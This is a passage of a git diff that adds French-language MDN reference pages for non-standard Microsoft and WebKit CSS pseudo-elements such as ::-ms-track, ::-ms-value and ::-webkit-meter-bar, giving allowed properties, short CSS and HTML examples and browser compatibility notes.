+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("-ms-background-position-x")}}</li>
+ <li>{{cssxref("-ms-background-position-y")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("display")}} : prise en charge pour ces valeurs : <code>block</code>, <code>inline-block</code>, <code>none</code>.</li>
+ <li>{{cssxref("@font-face")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("-ms-high-contrast-adjust")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("outline-style")}}</li>
+ <li>{{cssxref("outline-width")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("width")}}</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<ul>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/range">&lt;input type="range"&gt;</a></code></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-ms-ticks-before/index.html b/files/fr/web/css/_doublecolon_-ms-ticks-before/index.html
new file mode 100644
index 0000000000..371ff710ec
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-ticks-before/index.html
@@ -0,0 +1,89 @@
+---
+title: '::-ms-ticks-before'
+slug: 'Web/CSS/::-ms-ticks-before'
+tags:
+  - CSS
+  - Microsoft
+  - Non-standard
+  - Pseudo-element
+  - Reference
+  - Web
+translation_of: 'Archive/Web/CSS/::-ms-ticks-before'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a> <strong><code>::-ms-ticks-before</code></strong> est une <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">extension Microsoft</a> qui permet d'appliquer un ou plusieurs styles aux graduations d'une piste qui sont situées avant le curseur (la piste est celle d'un contrôle <code><a href="/fr/docs/Web/HTML/Element/input/range">&lt;input type="range"&gt;</a></code>). Pour une disposition avec une écriture de gauche à droite, les marques sont situées au-dessus de la piste. Pour une disposition avec une écriture de haut en bas, les marques sont situées à gauche de la piste.</p>
+
+<p>Par défaut, les marques ne sont pas affichées, il est nécessaire d'utiliser la valeur <code>block</code> pour la propriété {{cssxref("display")}}.</p>
+
+<p>Il est possible d'utiliser simultanément les sélecteurs {{cssxref("::-ms-ticks-after")}}, <strong><code>::-ms-ticks-before</code></strong> et {{cssxref("::-ms-track")}} mais cela créera alors trois ensembles de marques, ce qui n'est pas recommandé. Pour une meilleure ergonomie, il est conseillé de n'utiliser qu'un seul ensemble de marque. Pour retirer les marques, on pourra utiliser la valeur <code>transparent</code> sur la propriété {{cssxref("color")}}.</p>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p> </p>
+
+<p>Voici les propriétés qui peuvent être définies dans les styles associés à ce pseudo-élément (les autres propriétés seront ignorées) :</p>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("-ms-background-position-x")}}</li>
+ <li>{{cssxref("-ms-background-position-y")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("display")}} : prise en charge pour ces valeurs : <code>block</code>, <code>inline-block</code>, <code>none</code>.</li>
+ <li>{{cssxref("@font-face")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("-ms-high-contrast-adjust")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("outline-style")}}</li>
+ <li>{{cssxref("outline-width")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("width")}}</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/range">&lt;input type="range"&gt;</a></code><a href="/en-US/docs/Web/HTML/Element/input/range"> </a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-ms-tooltip/index.html b/files/fr/web/css/_doublecolon_-ms-tooltip/index.html
new file mode 100644
index 0000000000..e4d68b6bcc
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-tooltip/index.html
@@ -0,0 +1,30 @@
+---
+title: '::-ms-tooltip'
+slug: 'Web/CSS/::-ms-tooltip'
+tags:
+  - CSS
+  - Extension
+  - Microsoft
+  - Non-standard
+  - Pseudo-element
+  - Reference
+  - Web
+translation_of: 'Archive/Web/CSS/::-ms-tooltip'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a> <strong><code>::-ms-tooltip</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une extension Microsoft</a> qui permet d'appliquer un ou plusieurs styles à la bulle d'information du curseur d'un élément <code><a href="/fr/docs/Web/HTML/Element/input/range">&lt;input type="range"&gt;</a></code>.</p>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seules les propriétés {{cssxref("display")}} et {{cssxref("visibility")}} peuvent être utilisées avec <code>::-ms-tooltip</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/range">&lt;input type="range"&gt;</a></code></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-ms-track/index.html b/files/fr/web/css/_doublecolon_-ms-track/index.html
new file mode 100644
index 0000000000..5dda04462a
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-track/index.html
@@ -0,0 +1,104 @@
+---
+title: '::-ms-track'
+slug: 'Web/CSS/::-ms-track'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Archive/Web/CSS/::-ms-track'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-ms-track</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">un pseudo-élément spécifique à Microsoft</a> qui permet de représenter la piste sur laquelle on peut déplacer le curseur d'un élément {{HTMLElement("input")}} de <code>range</code>.</p>
+
+<p>La propriété {{cssxref("color")}}, appliquée au sein d'un sélecteur <code>::-ms-track</code> modifiera la couleur des graduations le long de la piste. Si on souhaite les masquer, on pourra utiliser la valeur <code>transparent</code>.</p>
+
+<p>On peut utiliser les pseudo-éléments {{cssxref("::-ms-ticks-after")}}, {{cssxref("::-ms-ticks-before")}} et <code>::-ms-track</code> ensemble afin de créer trois ensembles graduations. Toutefois, pour des raisons d'ergonomie, il est conseillé de n'avoir qu'une seule mise en forme pour ces graudations.</p>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seules les propriétés CSS suivantes sont autorisées dans une règle dont le sélecteur contient <code>::-ms-track</code> (les autres propriétés sont ignorées).</p>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style ")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius ")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("display")}} (valeurs <code>block</code>, <code>inline-block</code>, <code>none</code>)</li>
+ <li>{{cssxref("@font-face")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+ <li><code>-ms-background-position-x</code></li>
+ <li><code>-ms-background-position-y</code></li>
+ <li>{{cssxref("-ms-high-contrast-adjust")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("outline-style")}}</li>
+ <li>{{cssxref("outline-width")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("width")}}</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">  {{csssyntax}}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Trident/Microsoft et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-élément utilisés par IE/Edge et qui permettent de mettre en forme un élément {{HTMLElement("input")}} de type <code>range</code> :
+
+  <ul>
+   <li>{{cssxref("::-ms-thumb")}}</li>
+   <li>{{cssxref("::-ms-fill-upper")}}</li>
+   <li>{{cssxref("::-ms-fill-lower")}}</li>
+  </ul>
+ </li>
+ <li>Les pseudo-éléments similaires des autres navigateurs
+  <ul>
+   <li>{{cssxref("::-webkit-slider-runnable-track")}}</li>
+   <li>{{cssxref("::-moz-range-track")}}</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks : Mettre en forme les champs de saisie des formulaires pour les différents navigateurs avec CSS (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-ms-value/index.html b/files/fr/web/css/_doublecolon_-ms-value/index.html
new file mode 100644
index 0000000000..264ead8b53
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-value/index.html
@@ -0,0 +1,92 @@
+---
+title: '::-ms-value'
+slug: 'Web/CSS/::-ms-value'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Archive/Web/CSS/::-ms-value'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-ms-value</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">un pseudo-élément spécifique à Microsoft</a> qui permet d'appliquer des règles sur les éléments {{HTMLElement("input")}} ou {{HTMLElement("select")}}. Seules certaines propriétés peuvent être paramétrées via ce pseudo-élément, les règles agissant sur d'autres propriétés n'auront donc aucun effet.</p>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seules les propriétés suivantes peuvent être utilisées dans une règle dont le sélecteur contient <code>::-ms-value</code> (les autres propriétés sont ignorées).</p>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style ")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius ")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("display")}} (valeurs <code>block</code>, <code>inline-block</code>, <code>none</code>)</li>
+ <li>{{cssxref("@font-face")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+ <li><code>-ms-background-position-x</code></li>
+ <li><code>-ms-background-position-y</code></li>
+ <li>{{cssxref("-ms-high-contrast-adjust")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("outline-style")}}</li>
+ <li>{{cssxref("outline-width")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("width")}}</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">input::-ms-value {
+  color: lime;
+  font-style: italic;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Trident/Microsoft et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-ms-value")}}</p>
diff --git a/files/fr/web/css/_doublecolon_-webkit-file-upload-button/index.html b/files/fr/web/css/_doublecolon_-webkit-file-upload-button/index.html
new file mode 100644
index 0000000000..2de12911cf
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-file-upload-button/index.html
@@ -0,0 +1,54 @@
+---
+title: '::-webkit-file-upload-button'
+slug: 'Web/CSS/::-webkit-file-upload-button'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::file-selector-button'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-file-upload-button</code></strong> représente le bouton d'un élément {{HTMLElement("input")}} de type <code>file</code>.</p>
+
+<p>Ce pseudo-élément n'est pas standard et est uniquement pris en charge par les navigateurs basés sur WebKit/Blink.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>selecteur</var>::-webkit-file-upload-button
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input, label {
+  display: block;
+}
+
+input[type=file]::-webkit-file-upload-button {
+  border: 1px solid grey;
+  background: #FFFAAA;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="fileUpload"&gt;Uploader un fichier&lt;/label&gt;&lt;br&gt;
+  &lt;input type="file" id="fileUpload"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-file-upload-button")}}</p>
diff --git a/files/fr/web/css/_doublecolon_-webkit-inner-spin-button/index.html b/files/fr/web/css/_doublecolon_-webkit-inner-spin-button/index.html
new file mode 100644
index 0000000000..fc64500935
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-inner-spin-button/index.html
@@ -0,0 +1,48 @@
+---
+title: '::-webkit-inner-spin-button'
+slug: 'Web/CSS/::-webkit-inner-spin-button'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-inner-spin-button'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-inner-spin-button</code></strong> permet de mettre en forme la partie intérieure de la roulette qui permet de choisir la valeur d'un élément {{HTMLElement("input")}} de type <code>number</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input[type=number]::-webkit-inner-spin-button {
+  cursor: pointer;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="number"&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 200, 30)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-inner-spin-button")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::-webkit-outer-spin-button")}}</li>
+ <li>{{cssxref("::-webkit-textfield-decoration-container")}}</li>
+ <li><a href="https://trac.webkit.org/wiki/Styling%20Form%20Controls#inputelement">Mettre en forme les contrôles de formulaires  – WebKit (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-input-placeholder/index.html b/files/fr/web/css/_doublecolon_-webkit-input-placeholder/index.html
new file mode 100644
index 0000000000..c93ace537c
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-input-placeholder/index.html
@@ -0,0 +1,96 @@
+---
+title: '::-webkit-input-placeholder'
+slug: 'Web/CSS/::-webkit-input-placeholder'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::placeholder'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-input-placeholder</code></strong> représente <a href="/fr/docs/Web/Guide/HTML/Forms_in_HTML#The_placeholder_attribute">le texte de substitution</a> d'un formulaire. Il permet aux auteurs et aux développeurs d'adapter la mise en forme de ce texte de substitution. Ce pseudo-élément est uniquement pris en charge par WebKit et Blink.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input placeholder="Veuillez saisir ici..."&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input::-webkit-input-placeholder {
+  color: green;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::placeholder")}}</li>
+ <li>{{cssxref("::-moz-placeholder")}}</li>
+ <li>{{cssxref(":-ms-input-placeholder")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Forms_in_HTML">Les formulaires en HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-webkit-meter-bar/index.html b/files/fr/web/css/_doublecolon_-webkit-meter-bar/index.html
new file mode 100644
index 0000000000..1b388c8cdb
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-meter-bar/index.html
@@ -0,0 +1,68 @@
+---
+title: '::-webkit-meter-bar'
+slug: 'Web/CSS/::-webkit-meter-bar'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-meter-bar'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-webkit-meter-bar</code></strong> est un pseudo-élément spécifique à WebKit et permet de mettre en forme l'arrière-plan d'un élément {{HTMLElement("meter")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">meter {
+   /* On réinitialise l'apparence par défaut */
+  -webkit-appearance: none;
+  -moz-appearance: none;
+  appearance: none;
+}
+
+meter::-webkit-meter-bar  {
+  background: #eee;
+  box-shadow: 0 2px 3px rgba (0, 0, 0, 0.2) inset;
+  border-radius: 3px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;meter min="0" max="10" value="6"&gt;Score sur 10&lt;/meter&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cela fonctionnera uniquement pour les navigateurs Webkit/Blink.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-meter-bar")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-éléments utilisés par WebKit/Blink pour mettre en forme les autres parties d'un élément {{htmlelement("meter")}} :
+  <ul>
+   <li>{{cssxref("::-webkit-meter-inner-element")}}</li>
+   <li>{{cssxref("::-webkit-meter-even-less-good-value")}}</li>
+   <li>{{cssxref("::-webkit-meter-optimum-value")}}</li>
+   <li>{{cssxref("::-webkit-meter-suboptimum-value")}}</li>
+  </ul>
+ </li>
+ <li><a href="/fr/docs/Web/CSS/Webkit_Extensions">Les extensions CSS WebKit</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/css/_doublecolon_-webkit-meter-even-less-good-value/index.html b/files/fr/web/css/_doublecolon_-webkit-meter-even-less-good-value/index.html
new file mode 100644
index 0000000000..aad0332d89
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-webkit-meter-even-less-good-value/index.html
@@ -0,0 +1,56 @@
+---
+title: '::-webkit-meter-even-less-good-value'
+slug: 'Web/CSS/::-webkit-meter-even-less-good-value'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-webkit-meter-even-less-good-value'
+---
